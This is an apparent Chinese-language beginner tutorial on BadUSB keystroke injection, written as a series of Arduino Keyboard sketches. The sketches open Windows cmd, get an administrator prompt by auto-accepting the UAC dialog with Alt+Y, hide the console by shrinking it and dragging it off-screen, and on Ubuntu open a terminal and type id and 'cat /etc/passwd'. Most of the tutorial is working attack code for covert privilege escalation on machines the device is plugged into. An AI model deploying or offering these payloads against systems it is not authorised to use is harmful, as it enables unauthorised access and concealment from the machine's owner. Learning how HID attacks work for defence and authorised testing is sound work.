上一节初步接触了badusb,这节我们学习一下怎么调用cmd
首先是windows下面
首先是简易版的
#include <Keyboard.h>
void setup()
{
Keyboard.begin();
delay(1000);
Keyboard.press(KEY_LEFT_GUI);
delay(500);
Keyboard.print("r");
delay(500);
Keyboard.release(KEY_LEFT_GUI);
delay(500);
Keyboard.println("cmd");
Keyboard.end();
}
void loop()
{}
这个就是大家很熟悉的win+r cmd+回车,一位内我们用的是println,所以自带回车
但很多时候我们需要的是管理员权限的cmd
那么就需要用到下面这个
#include <Keyboard.h>
void setup()
{
Keyboard.begin();
delay(1000);
Keyboard.press(KEY_LEFT_GUI);
delay(500);
Keyboard.release(KEY_LEFT_GUI);
delay(500);
Keyboard.press(KEY_CAPS_LOCK);
delay(500);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.print("cmd.exe");
delay(500);
Keyboard.press(KEY_LEFT_CTRL );
Keyboard.press( KEY_LEFT_SHIFT);
Keyboard.press(KEY_RETURN);
delay(500);
Keyboard.release(KEY_LEFT_CTRL);
Keyboard.release(KEY_LEFT_SHIFT);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.press( KEY_LEFT_ALT );
Keyboard.press('y');
delay(500);
Keyboard.release(KEY_LEFT_ALT );
Keyboard.release('y');
delay(500);
Keyboard.end();
}
void loop()
{}
首先按一下win,然后切换大小写防止中文输入
然后就会在开始栏查询cmd.exe就是我们的命令提示符
ctrl+shift+return就会弹出来一个是否使用管理员身份来运行cmd.exe
再alt+y表示确认,就可以获得一个管理员身份的命令提示符
接下来就是一个隐藏我们cmd的过程,其实也没有那么神器,只是缩小隐藏起来罢了
这个跟之前相比,平常我们运行的时候就只是cmd
CMD /q /d /f:off /v:on /k MODE con: cols=30 lines=6
这句话的理解
/q 关闭回显虽然我也不太理解关闭回显有什么效果,但是网上解释就是不显示?不太明白
/d 禁止从注册表执行 AutoRun 命令
/F:OFF 禁用文件和目录名完成字符
/V:ON 使用 ! 作为分隔符启用延迟的环境变量
MODE con: cols=30 lines=6调整行数和列数
为什么需要这些参数其实我目前也不太理解,不过慢慢看
alt+"+m就是右键点击cmd然后选择m对应的是移动
然后左键移动一会就可以看见命令行跑到窗口外面去了…
有点傻fufu的
#include<Keyboard.h>
void setup() {
Keyboard.begin();
delay(3000);
Keyboard.press(KEY_LEFT_GUI);
delay(200);
Keyboard.print('r');
delay(200);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(1000);
Keyboard.println("CMD /q /d /f:off /v:on /k MODE con: cols=30 lines=6");
delay(1000);
Keyboard.press(KEY_LEFT_ALT);
delay(200);
Keyboard.press(' ');
delay(200);
Keyboard.release(KEY_LEFT_ALT);
Keyboard.release(' ');
delay(200);
Keyboard.print("m");
Keyboard.press(KEY_LEFT_ARROW);
delay(3000);
Keyboard.release(KEY_LEFT_ARROW);
Keyboard.println();
Keyboard.end();
}
void loop() {
}
如果有大佬可以解释一下那些参数的意义的话也非常感谢科普
然后是一个基础的ubantu下调用终端的命令
ubantu下按住start键是开始查找的功能
输入terminal回车进入命令行
pwd显示当前路径
/etc/passwd显示着系统的权限分配
id 命令可以显示真实有效的用户 ID(UID) 和组 ID(GID)。UID 是对一个用户的单一身份标识。组 ID(GID)则对应多个UID
#include<Keyboard.h>
void setup() {
Keyboard.begin();
delay(3000);//延时
Keyboard.press(KEY_LEFT_GUI);
delay(200);
Keyboard.release(KEY_LEFT_GUI);
delay(500);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(200);
Keyboard.print("terminal");
delay(3000);
Keyboard.println();
delay(3000);
Keyboard.println("PWD");
delay(1000);
Keyboard.println("ID");
delay(1000);
Keyboard.println("CAT /ETC/PASSWD");
delay(1000);
Keyboard.end();
}
void loop() {
}
注意调整delay信息,不然可能出现命令未有效执行